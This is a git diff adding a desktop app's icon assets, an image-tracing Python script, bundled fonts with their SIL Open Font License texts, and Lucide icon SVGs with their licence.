Binary files /dev/null and b/desktop/assets/app-icon/hicolor/24x24/apps/ai.storyteller.craft-anything.png differ diff --git a/desktop/assets/app-icon/hicolor/256x256/apps/ai.storyteller.craft-anything.png b/desktop/assets/app-icon/hicolor/256x256/apps/ai.storyteller.craft-anything.png new file mode 100644 index 0000000..26cd12d Binary files /dev/null and b/desktop/assets/app-icon/hicolor/256x256/apps/ai.storyteller.craft-anything.png differ diff --git a/desktop/assets/app-icon/hicolor/256x256/apps/com.rootcastle.rei.png b/desktop/assets/app-icon/hicolor/256x256/apps/com.rootcastle.rei.png new file mode 100644 index 0000000..26cd12d Binary files /dev/null and b/desktop/assets/app-icon/hicolor/256x256/apps/com.rootcastle.rei.png differ diff --git a/desktop/assets/app-icon/hicolor/32x32/apps/ai.storyteller.craft-anything.png b/desktop/assets/app-icon/hicolor/32x32/apps/ai.storyteller.craft-anything.png new file mode 100644 index 0000000..3ef5b2b Binary files /dev/null and b/desktop/assets/app-icon/hicolor/32x32/apps/ai.storyteller.craft-anything.png differ diff --git a/desktop/assets/app-icon/hicolor/48x48/apps/ai.storyteller.craft-anything.png b/desktop/assets/app-icon/hicolor/48x48/apps/ai.storyteller.craft-anything.png new file mode 100644 index 0000000..b3e1434 Binary files /dev/null and b/desktop/assets/app-icon/hicolor/48x48/apps/ai.storyteller.craft-anything.png differ diff --git a/desktop/assets/app-icon/hicolor/512x512/apps/ai.storyteller.craft-anything.png b/desktop/assets/app-icon/hicolor/512x512/apps/ai.storyteller.craft-anything.png new file mode 100644 index 0000000..41523a9 Binary files /dev/null and b/desktop/assets/app-icon/hicolor/512x512/apps/ai.storyteller.craft-anything.png differ diff --git a/desktop/assets/app-icon/hicolor/64x64/apps/ai.storyteller.craft-anything.png b/desktop/assets/app-icon/hicolor/64x64/apps/ai.storyteller.craft-anything.png new file mode 100644 index 0000000..4d9160f Binary files /dev/null and b/desktop/assets/app-icon/hicolor/64x64/apps/ai.storyteller.craft-anything.png differ diff --git a/desktop/assets/app-icon/hicolor/scalable/apps/ai.storyteller.craft-anything.svg b/desktop/assets/app-icon/hicolor/scalable/apps/ai.storyteller.craft-anything.svg new file mode 100644 index 0000000..dd82d55 --- /dev/null +++ b/desktop/assets/app-icon/hicolor/scalable/apps/ai.storyteller.craft-anything.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/desktop/assets/app-icon/trace.py b/desktop/assets/app-icon/trace.py new file mode 100644 index 0000000..bf79ed7 --- /dev/null +++ b/desktop/assets/app-icon/trace.py @@ -0,0 +1,60 @@ +"""Trace the raven artwork into the app icon's master SVG. + +Needs numpy, Pillow and vtracer (`pip install vtracer`); see README.md for the exact runs. +usage: python trace.py SOURCE OUT_SVG WORK_PX SPECKLE BLUR +""" + +import re +import sys +import tempfile +from pathlib import Path + +import numpy as np +import vtracer +from PIL import Image, ImageFilter + +INK, PAPER, BLUE = "#101014", "#f2f1ee", "#4e7bfb" + + +def trace(mask: np.ndarray, speckle: int, d: Path) -> str: + """One colour layer: vtracer's binary trace of `mask`, as path elements.""" + png, svg = d / "mask.png", d / "mask.svg" + Image.fromarray(np.where(mask, 0, 255).astype(np.uint8)).filter(ImageFilter.MedianFilter(3)).save(png) + vtracer.convert_image_to_svg_py( + str(png), str(svg), colormode="binary", mode="spline", filter_speckle=speckle, + corner_threshold=60, length_threshold=4.0, splice_threshold=45, path_precision=1, + ) + found = re.findall(r']*transform="translate\(([-\d.]+),([-\d.]+)\)"', svg.read_text()) + return "".join(f'' for p, x, y in found) + + +def main() -> None: + src, out, n, speckle, blur = sys.argv[1], Path(sys.argv[2]), int(sys.argv[3]), int(sys.argv[4]), float(sys.argv[5]) + im = Image.open(src).convert("RGB").resize((n, n), Image.LANCZOS) + if blur: + im = im.filter(ImageFilter.GaussianBlur(blur)) + a = np.asarray(im).astype(np.int32) + r, g, b = a[..., 0], a[..., 1], a[..., 2] + blue = (b - r > 70) & (b > 150) + dark = 0.299 * r + 0.587 * g + 0.114 * b < 128 + + # Only what lies inside the source's rounded tile (21.5 % corner radius). + rad = 0.215 * n + yy, xx = np.mgrid[0:n, 0:n] + 0.5 + inside = (xx - np.clip(xx, rad, n - rad)) ** 2 + (yy - np.clip(yy, rad, n - rad)) ** 2 <= (rad - 2) ** 2 + + with tempfile.TemporaryDirectory() as d: + bird = trace(inside & ~blue, speckle, Path(d)) + ink = trace(inside & ~blue & dark, speckle, Path(d)) + out.write_text( + '' + '' + f'' + f'' + f'{bird}{ink}\n', + encoding="utf-8", + ) + + +if __name__ == "__main__": + main() diff --git a/desktop/assets/fonts/DMSans-Bold.ttf b/desktop/assets/fonts/DMSans-Bold.ttf new file mode 100644 index 0000000..32bc5df Binary files /dev/null and b/desktop/assets/fonts/DMSans-Bold.ttf differ diff --git a/desktop/assets/fonts/DMSans-Medium.ttf b/desktop/assets/fonts/DMSans-Medium.ttf new file mode 100644 index 0000000..fc8a5eb Binary files /dev/null and b/desktop/assets/fonts/DMSans-Medium.ttf differ diff --git a/desktop/assets/fonts/DMSans-Regular.ttf b/desktop/assets/fonts/DMSans-Regular.ttf new file mode 100644 index 0000000..40c9bfd Binary files /dev/null and b/desktop/assets/fonts/DMSans-Regular.ttf differ diff --git a/desktop/assets/fonts/GeistMono-Medium.ttf b/desktop/assets/fonts/GeistMono-Medium.ttf new file mode 100644 index 0000000..0970296 Binary files /dev/null and b/desktop/assets/fonts/GeistMono-Medium.ttf differ diff --git a/desktop/assets/fonts/GeistMono-Regular.ttf b/desktop/assets/fonts/GeistMono-Regular.ttf new file mode 100644 index 0000000..643e6ba Binary files /dev/null and b/desktop/assets/fonts/GeistMono-Regular.ttf differ diff --git a/desktop/assets/fonts/JetBrainsMono-Regular.ttf b/desktop/assets/fonts/JetBrainsMono-Regular.ttf new file mode 100644 index 0000000..711830e Binary files /dev/null and b/desktop/assets/fonts/JetBrainsMono-Regular.ttf differ diff --git a/desktop/assets/fonts/OFL-DMSans.txt b/desktop/assets/fonts/OFL-DMSans.txt new file mode 100644 index 0000000..a6fa62b --- /dev/null +++ b/desktop/assets/fonts/OFL-DMSans.txt @@ -0,0 +1,93 @@ +Copyright 2014-2017 Indian Type Foundry (info@indiantypefoundry.com). Copyright 2019 Google LLC. + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +http://scripts.sil.org/OFL + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/desktop/assets/fonts/OFL-GeistMono.txt b/desktop/assets/fonts/OFL-GeistMono.txt new file mode 100644 index 0000000..04e95fc --- /dev/null +++ b/desktop/assets/fonts/OFL-GeistMono.txt @@ -0,0 +1,93 @@ +Copyright 2024 The Geist Project Authors (https://github.com/vercel/geist-font) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. \ No newline at end of file diff --git a/desktop/assets/fonts/OFL-JetBrainsMono.txt b/desktop/assets/fonts/OFL-JetBrainsMono.txt new file mode 100644 index 0000000..5ceee00 --- /dev/null +++ b/desktop/assets/fonts/OFL-JetBrainsMono.txt @@ -0,0 +1,93 @@ +Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/desktop/assets/icons/LICENSE-lucide.txt b/desktop/assets/icons/LICENSE-lucide.txt new file mode 100644 index 0000000..718bb3f --- /dev/null +++ b/desktop/assets/icons/LICENSE-lucide.txt @@ -0,0 +1,43 @@ +ISC License + +Copyright (c) 2026 Lucide Icons and Contributors + +Permission to use, copy, modify, and/or distribute this software for any +purpose with or without fee is hereby granted, provided that the above +copyright notice and this permission notice appear in all copies. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES +WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR +ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN +ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF +OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + +--- + +The following Lucide icons are derived from the Feather project: + +airplay, alert-circle, alert-octagon, alert-triangle, aperture, arrow-down-circle, arrow-down-left, arrow-down-right, arrow-down, arrow-left-circle, arrow-left, arrow-right-circle, arrow-right, arrow-up-circle, arrow-up-left, arrow-up-right, arrow-up, at-sign, calendar, cast, check, chevron-down, chevron-left, chevron-right, chevron-up, chevrons-down, chevrons-left, chevrons-right, chevrons-up, circle, clipboard, clock, code, columns, command, compass, corner-down-left, corner-down-right, corner-left-down, corner-left-up, corner-right-down, corner-right-up, corner-up-left, corner-up-right, crosshair, database, divide-circle, divide-square, dollar-sign, download, external-link, feather, frown, hash, headphones, help-circle, info, italic, key, layout, life-buoy, link-2, link, loader, lock, log-in, log-out, maximize, meh, minimize, minimize-2, minus-circle, minus-square, minus, monitor, moon, more-horizontal, more-vertical, move, music, navigation-2, navigation, octagon, pause-circle, percent, plus-circle, plus-square, plus, power, radio, rss, search, server, share, shopping-bag, sidebar, smartphone, smile, square, table-2, tablet, target, terminal, trash-2, trash, triangle, tv, type, upload, x-circle, x-octagon, x-square, x, zoom-in, zoom-out + +The MIT License (MIT) (for the icons listed above) + +Copyright (c) 2013-present Cole Bemis + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/desktop/assets/icons/activity.svg b/desktop/assets/icons/activity.svg new file mode 100644 index 0000000..c0c4762 --- /dev/null +++ b/desktop/assets/icons/activity.svg @@ -0,0 +1,15 @@ + + + + diff --git a/desktop/assets/icons/app-window.svg b/desktop/assets/icons/app-window.svg new file mode 100644 index 0000000..67b7295 --- /dev/null +++ b/desktop/assets/icons/app-window.svg @@ -0,0 +1,18 @@ + + + + + + + diff --git a/desktop/assets/icons/binary.svg b/desktop/assets/icons/binary.svg new file mode 100644 index 0000000..fece4f0 --- /dev/null +++ b/desktop/assets/icons/binary.svg @@ -0,0 +1,20 @@ + + + + + + + + + diff --git a/desktop/assets/icons/book-open.svg b/desktop/assets/icons/book-open.svg new file mode 100644 index 0000000..53554d0 --- /dev/null +++ b/desktop/assets/icons/book-open.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/bot.svg b/desktop/assets/icons/bot.svg new file mode 100644 index 0000000..5fe0569 --- /dev/null +++ b/desktop/assets/icons/bot.svg @@ -0,0 +1,20 @@ + + + + + + + + + diff --git a/desktop/assets/icons/boxes.svg b/desktop/assets/icons/boxes.svg new file mode 100644 index 0000000..a887627 --- /dev/null +++ b/desktop/assets/icons/boxes.svg @@ -0,0 +1,26 @@ + + + + + + + + + + + + + + + diff --git a/desktop/assets/icons/braces.svg b/desktop/assets/icons/braces.svg new file mode 100644 index 0000000..8cd03c9 --- /dev/null +++ b/desktop/assets/icons/braces.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/bug.svg b/desktop/assets/icons/bug.svg new file mode 100644 index 0000000..17ebc40 --- /dev/null +++ b/desktop/assets/icons/bug.svg @@ -0,0 +1,25 @@ + + + + + + + + + + + + + + diff --git a/desktop/assets/icons/cable.svg b/desktop/assets/icons/cable.svg new file mode 100644 index 0000000..68358dc --- /dev/null +++ b/desktop/assets/icons/cable.svg @@ -0,0 +1,19 @@ + + + + + + + + diff --git a/desktop/assets/icons/check.svg b/desktop/assets/icons/check.svg new file mode 100644 index 0000000..307f4d6 --- /dev/null +++ b/desktop/assets/icons/check.svg @@ -0,0 +1,15 @@ + + + + diff --git a/desktop/assets/icons/chevron-down.svg b/desktop/assets/icons/chevron-down.svg new file mode 100644 index 0000000..621978a --- /dev/null +++ b/desktop/assets/icons/chevron-down.svg @@ -0,0 +1,15 @@ + + + + diff --git a/desktop/assets/icons/chevron-right.svg b/desktop/assets/icons/chevron-right.svg new file mode 100644 index 0000000..379a56f --- /dev/null +++ b/desktop/assets/icons/chevron-right.svg @@ -0,0 +1,15 @@ + + + + diff --git a/desktop/assets/icons/chevron-up.svg b/desktop/assets/icons/chevron-up.svg new file mode 100644 index 0000000..5cd5fe0 --- /dev/null +++ b/desktop/assets/icons/chevron-up.svg @@ -0,0 +1,15 @@ + + + + diff --git a/desktop/assets/icons/circle-help.svg b/desktop/assets/icons/circle-help.svg new file mode 100644 index 0000000..98d2fa0 --- /dev/null +++ b/desktop/assets/icons/circle-help.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/desktop/assets/icons/circle-stop.svg b/desktop/assets/icons/circle-stop.svg new file mode 100644 index 0000000..8af9a48 --- /dev/null +++ b/desktop/assets/icons/circle-stop.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/clipboard-list.svg b/desktop/assets/icons/clipboard-list.svg new file mode 100644 index 0000000..8c1e000 --- /dev/null +++ b/desktop/assets/icons/clipboard-list.svg @@ -0,0 +1,20 @@ + + + + + + + + + diff --git a/desktop/assets/icons/code.svg b/desktop/assets/icons/code.svg new file mode 100644 index 0000000..4494eea --- /dev/null +++ b/desktop/assets/icons/code.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/copy.svg b/desktop/assets/icons/copy.svg new file mode 100644 index 0000000..f60b2a5 --- /dev/null +++ b/desktop/assets/icons/copy.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/cpu.svg b/desktop/assets/icons/cpu.svg new file mode 100644 index 0000000..a48a600 --- /dev/null +++ b/desktop/assets/icons/cpu.svg @@ -0,0 +1,24 @@ + + + + + + + + + + + + + diff --git a/desktop/assets/icons/database.svg b/desktop/assets/icons/database.svg new file mode 100644 index 0000000..c48eab1 --- /dev/null +++ b/desktop/assets/icons/database.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/desktop/assets/icons/download.svg b/desktop/assets/icons/download.svg new file mode 100644 index 0000000..c8882d7 --- /dev/null +++ b/desktop/assets/icons/download.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/desktop/assets/icons/external-link.svg b/desktop/assets/icons/external-link.svg new file mode 100644 index 0000000..4dda110 --- /dev/null +++ b/desktop/assets/icons/external-link.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/desktop/assets/icons/eye-off.svg b/desktop/assets/icons/eye-off.svg new file mode 100644 index 0000000..42374c6 --- /dev/null +++ b/desktop/assets/icons/eye-off.svg @@ -0,0 +1,18 @@ + + + + + + + diff --git a/desktop/assets/icons/eye.svg b/desktop/assets/icons/eye.svg new file mode 100644 index 0000000..506bce2 --- /dev/null +++ b/desktop/assets/icons/eye.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/file-code.svg b/desktop/assets/icons/file-code.svg new file mode 100644 index 0000000..b17ab09 --- /dev/null +++ b/desktop/assets/icons/file-code.svg @@ -0,0 +1,18 @@ + + + + + + + diff --git a/desktop/assets/icons/file.svg b/desktop/assets/icons/file.svg new file mode 100644 index 0000000..1e60bf6 --- /dev/null +++ b/desktop/assets/icons/file.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/fingerprint.svg b/desktop/assets/icons/fingerprint.svg new file mode 100644 index 0000000..af07df6 --- /dev/null +++ b/desktop/assets/icons/fingerprint.svg @@ -0,0 +1,23 @@ + + + + + + + + + + + + diff --git a/desktop/assets/icons/flask-conical.svg b/desktop/assets/icons/flask-conical.svg new file mode 100644 index 0000000..7532ad4 --- /dev/null +++ b/desktop/assets/icons/flask-conical.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/desktop/assets/icons/folder-open.svg b/desktop/assets/icons/folder-open.svg new file mode 100644 index 0000000..b8671ec --- /dev/null +++ b/desktop/assets/icons/folder-open.svg @@ -0,0 +1,15 @@ + + + + diff --git a/desktop/assets/icons/folder.svg b/desktop/assets/icons/folder.svg new file mode 100644 index 0000000..199656a --- /dev/null +++ b/desktop/assets/icons/folder.svg @@ -0,0 +1,15 @@ + + + + diff --git a/desktop/assets/icons/gauge.svg b/desktop/assets/icons/gauge.svg new file mode 100644 index 0000000..cd9f61a --- /dev/null +++ b/desktop/assets/icons/gauge.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/git-branch.svg b/desktop/assets/icons/git-branch.svg new file mode 100644 index 0000000..0ef9c57 --- /dev/null +++ b/desktop/assets/icons/git-branch.svg @@ -0,0 +1,18 @@ + + + + + + + diff --git a/desktop/assets/icons/globe.svg b/desktop/assets/icons/globe.svg new file mode 100644 index 0000000..b0dfbc6 --- /dev/null +++ b/desktop/assets/icons/globe.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/desktop/assets/icons/graduation-cap.svg b/desktop/assets/icons/graduation-cap.svg new file mode 100644 index 0000000..991b7a2 --- /dev/null +++ b/desktop/assets/icons/graduation-cap.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/desktop/assets/icons/hammer.svg b/desktop/assets/icons/hammer.svg new file mode 100644 index 0000000..8712f50 --- /dev/null +++ b/desktop/assets/icons/hammer.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/desktop/assets/icons/hard-drive.svg b/desktop/assets/icons/hard-drive.svg new file mode 100644 index 0000000..c8dd7ce --- /dev/null +++ b/desktop/assets/icons/hard-drive.svg @@ -0,0 +1,18 @@ + + + + + + + diff --git a/desktop/assets/icons/history.svg b/desktop/assets/icons/history.svg new file mode 100644 index 0000000..ea6648a --- /dev/null +++ b/desktop/assets/icons/history.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/desktop/assets/icons/house.svg b/desktop/assets/icons/house.svg new file mode 100644 index 0000000..8f45941 --- /dev/null +++ b/desktop/assets/icons/house.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/info.svg b/desktop/assets/icons/info.svg new file mode 100644 index 0000000..e1a2b35 --- /dev/null +++ b/desktop/assets/icons/info.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/desktop/assets/icons/key-round.svg b/desktop/assets/icons/key-round.svg new file mode 100644 index 0000000..7fb3049 --- /dev/null +++ b/desktop/assets/icons/key-round.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/layers.svg b/desktop/assets/icons/layers.svg new file mode 100644 index 0000000..4cc41fa --- /dev/null +++ b/desktop/assets/icons/layers.svg @@ -0,0 +1,17 @@ + + + + + + diff --git a/desktop/assets/icons/link.svg b/desktop/assets/icons/link.svg new file mode 100644 index 0000000..0b5fa87 --- /dev/null +++ b/desktop/assets/icons/link.svg @@ -0,0 +1,16 @@ + + + + + diff --git a/desktop/assets/icons/list-checks.svg b/desktop/assets/icons/list-checks.svg new file mode 100644 index 0000000..c9eca6b --- /dev/null +++ b/desktop/assets/icons/list-checks.svg @@ -0,0 +1,19 @@ + + + + + + + + diff --git a/desktop/assets/icons/list-tree.svg b/desktop/assets/icons/list-tree.svg new file mode 100644 index 0000000..a4c66c8 --- /dev/null +++ b/desktop/assets/icons/list-tree.svg @@ -0,0 +1,19 @@ + + + + + + + + diff --git a/desktop/assets/icons/loader.svg b/desktop/assets/icons/loader.svg new file mode 100644 index 0000000..977e7dc --- /dev/null +++ b/desktop/assets/icons/loader.svg @@ -0,0 +1,22 @@ + + + + + + + + + + + diff --git a/desktop/assets/icons/lock-open.svg b/desktop/assets/icons/lock-open.svg new file mode 100644 index 0000000..9652624 --- /dev/null +++ b/desktop/assets/icons/lock-open.svg 